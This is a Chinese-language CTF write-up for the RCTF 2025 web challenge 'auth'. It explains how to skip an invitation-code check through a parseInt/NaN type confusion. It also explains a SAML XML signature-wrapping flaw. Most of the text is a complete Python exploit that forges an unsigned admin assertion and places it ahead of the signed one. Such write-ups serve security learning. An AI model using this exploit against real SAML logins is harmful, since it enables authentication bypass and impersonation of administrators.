RCTF 2025 Writeup
忙于复习,赛后解出了两个 Web。
Web
auth
SAML 认证
两个关键点 第一个是绕过邀请码注册,第二个是伪装管理员
if (parseInt(type) === 0) {
if (!invitationCode || invitationCode !== config.getInviteCode()) {
return res.render('register', {
title: 'User Registration',
errors: [{ msg: 'Invalid invitation code' }],
formData: req.body
});
}
}
这里 type 如果不是 int 的话,parseInt() 返回的是 NaN,返回 false 绕过邀请码
但是与数据库交互的时候 type='abc' 会被数据库强制转换为 0,所以用户是正常的
接下来看他对 SAML 的验证和解析逻辑
验证逻辑:
if response_signature is not None:
if not self._verify_signature(response_signature):
return False
else:
assertion_signatures = self._find_assertion_signatures()
if not assertion_signatures:
return False
for sig_node in assertion_signatures:
if not self._verify_signature(sig_node):
return False
这里只检查了是否有至少一个签了名的 assertion
解析逻辑:
def get_nameid(self):
if self.document is None:
return None
assertions = self.document.xpath(
'//saml:Assertion',
namespaces=self.NAMESPACES
)
if not assertions:
return None
assertion = assertions[0]
这里只取第一个assertion
那只需要在原来的 assertion 之前添加一个未签名的 admin assertion 即可达成伪造管理员
exp:
from xml.dom import minidom
import base64, zlib, urllib.parse
raw="""
<YOUR_AUTH_SAML>
"""
raw += "=" * (-len(raw) % 4)
data = base64.b64decode(raw)
xml = data.decode('utf-8')
pretty_xml = minidom.parseString(xml).toprettyxml(indent=" ")
pretty_xml = "\n".join(line for line in pretty_xml.splitlines() if line.strip())
print(pretty_xml)
import re
import random
import string
orig_assertion = re.search(r'(<saml:Assertion\b.*?</saml:Assertion>)', xml, re.S).group(1)
forged = orig_assertion
# 1. 移除签名
forged = re.sub(r'<Signature[^>]*>.*?</Signature>', '', forged, flags=re.S)
# 2. 修改 ID 和 SessionIndex
forged = re.sub(r'ID="[^"]+"', f'ID="_{"".join(random.choices(string.ascii_lowercase+string.digits, k=32))}"', forged, count=1)
forged = re.sub(r'SessionIndex="[^"]+"', f'SessionIndex="_{"".join(random.choices(string.ascii_lowercase+string.digits, k=24))}"', forged)
# 3. 修改 NameID
forged = re.sub(r'(<saml:NameID[^>]*>)[^<]+(</saml:NameID>)', r'\1admin@rois.team\2', forged)
# 4. 批量修改属性
attr_replacements = {
'uid': '1',
'username': 'admin',
'email': 'admin@rois.team',
'displayName': 'Administrator',
'role': 'admin',
'department': 'System'
}
for attr_name, new_value in attr_replacements.items():
pattern = rf'(<saml:Attribute Name="{attr_name}"[^>]*>.*?<saml:AttributeValue>)[^<]*(</saml:AttributeValue>)'
forged = re.sub(pattern, rf'\g<1>{new_value}\2', forged, flags=re.S)
# 5. XML 签名包装攻击
xml = xml.replace(orig_assertion, forged + orig_assertion, 1)
pretty_xml = minidom.parseString(xml).toprettyxml(indent=" ")
pretty_xml = "\n".join(line for line in pretty_xml.splitlines() if line.strip())
print(pretty_xml)
b64 = base64.b64encode(xml.encode()).decode()
payload = urllib.parse.quote_plus(b64)
print(payload)